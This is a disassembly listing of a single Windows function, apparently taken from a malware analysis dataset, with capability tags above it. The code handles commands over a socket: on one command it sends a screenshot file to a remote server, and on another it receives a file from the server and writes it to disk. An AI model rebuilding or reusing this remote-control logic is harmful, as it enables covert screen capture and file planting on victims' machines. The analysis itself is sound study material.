Function at 0x1400012b0
Capabilities:
Download and write a file
Read and send data from client to server
Read file on windows
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x440
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x430], rax
mov rbp, rcx
cmp dl, 0x31
jne 0x14000146e
xor esi, esi
mov qword [rsp + 0x468], r15
mov r14d, esi
lea r15, [0x140003480]
test r14d, r14d
je 0x140001377
xor r9d, r9d
lea rdx, [rsp + 0x28]
mov rcx, rbp
lea r8d, [r9 + 5]
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x140001467
mov rax, rsi
lea rdx, [rsp + 0x28]
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [r15 + rax - 1]
jne 0x140001377
cmp rax, 5
jne 0x140001322
lea rcx, str.exit_n
call fcn.140001010
mov eax, 1
mov r15, qword [rsp + 0x468]
mov rcx, qword [rsp + 0x430]
xor rcx, rsp
call fcn.140001810
lea r11, [rsp + 0x440]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call fcn.140001070
lea rdx, [0x140003438]
lea rcx, str.screenshot.png
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
jne 0x1400013ac
lea rcx, str.open_file_failed_n
call fcn.140001010
inc r14d
jmp 0x1400012f7
xor edx, edx
mov rcx, rdi
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x24], eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
xor r9d, r9d
lea rdx, [rsp + 0x24]
mov rcx, rbp
lea r8d, [r9 + 4]
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x14000145f
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x400
call sub.VCRUNTIME140.dll_memset
mov ebx, esi
cmp dword [rsp + 0x24], ebx
jle 0x14000144a
nop word [rax + rax]
mov r9, rdi
lea rcx, [rsp + 0x30]
mov edx, 1
mov r8d, 0x400
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
xor r9d, r9d
lea rdx, [rsp + 0x30]
mov r8d, eax
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x14000144a
add ebx, eax
cmp dword [rsp + 0x24], ebx
jg 0x140001410
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rcx, str.send_picture_success_n
call fcn.140001010
inc r14d
jmp 0x1400012f7
xor eax, eax
jmp 0x140001347
cmp dl, 0x32
jne 0x140001578
xor r9d, r9d
mov dword [rsp + 0x20], 0xffffffff
lea rdx, [rsp + 0x20]
lea r8d, [r9 + 4]
call qword [sym.imp.WS2_32.dll_recv]
mov edx, dword [rsp + 0x20]
lea rcx, [0x1400034a0]
call fcn.140001010
movsxd rcx, dword [rsp + 0x20]
call fcn.140001838
mov r8d, dword [rsp + 0x20]
xor r9d, r9d
mov rdx, rax
mov rcx, rbp
mov r14, rax
call qword [sym.imp.WS2_32.dll_recv]
mov rdx, r14
lea rcx, [0x1400034a4]
call fcn.140001010
xor r9d, r9d
mov dword [rsp + 0x24], 0xffffffff
lea rdx, [rsp + 0x24]
mov rcx, rbp
lea r8d, [r9 + 4]
call qword [sym.imp.WS2_32.dll_recv]
mov edx, dword [rsp + 0x24]
lea rcx, str.fileSize___d_n
call fcn.140001010
lea rdx, [0x140003418]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
xor esi, esi
mov rdi, rax
cmp dword [rsp + 0x24], esi
jle 0x14000155d
nop dword [rax]
xor r9d, r9d
lea rdx, [rsp + 0x30]
mov r8d, 0x400
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
movsxd rbx, eax
cmp ebx, 0xffffffff
je 0x14000155d
mov r8, rbx
lea rcx, [rsp + 0x30]
mov r9, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esi, ebx
cmp esi, dword [rsp + 0x24]
jl 0x140001520
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, r14
call fcn.140001830
mov eax, 1
jmp 0x14000134f
xor esi, esi
cmp dl, 0x34
setne sil
mov eax, esi
jmp 0x14000134f